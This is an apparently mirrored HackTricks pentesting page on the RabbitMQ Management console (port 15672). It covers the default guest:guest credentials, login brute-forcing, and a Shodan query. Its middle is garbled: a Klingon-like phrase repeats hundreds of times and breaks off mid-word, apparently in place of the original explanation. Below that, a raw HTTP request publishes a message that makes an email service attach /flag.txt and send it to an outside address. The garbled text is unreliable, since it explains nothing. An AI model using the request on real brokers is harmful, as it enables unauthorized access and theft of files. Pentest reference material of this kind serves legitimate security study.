mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 15:41:34 +00:00
73 lines
10 KiB
Markdown
73 lines
10 KiB
Markdown
# 15672 - Pentesting RabbitMQ Management
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
## Basic Information
|
|
|
|
You can learn more about RabbitMQ in [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
|
|
In this port you may find the RabbitMQ Management web console if the [management plugin](https://www.rabbitmq.com/management.html) is enabled.\
|
|
The main page should looks like this:
|
|
|
|
.png>)
|
|
|
|
## Enumeration
|
|
|
|
The default credentials are "_**guest**_":"_**guest**_". If they aren't working you may try to [**brute-force the login**](../generic-methodologies-and-resources/brute-force.md#http-post-form).
|
|
|
|
To manually start this module you need to execute:
|
|
```
|
|
rabbitmq-plugins enable rabbitmq_management
|
|
service rabbitmq-server restart
|
|
```
|
|
qaStaHvIS 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlhutlh. 'e' vItlh
|
|
```bash
|
|
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
|
|
Host: 172.32.56.72:15672
|
|
Authorization: Basic dGVzdDp0ZXN0
|
|
Accept: */*
|
|
Content-Type: application/json;charset=UTF-8
|
|
Content-Length: 267
|
|
|
|
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
|
|
```
|
|
### Shodan
|
|
|
|
* `port:15672 http`
|
|
|
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|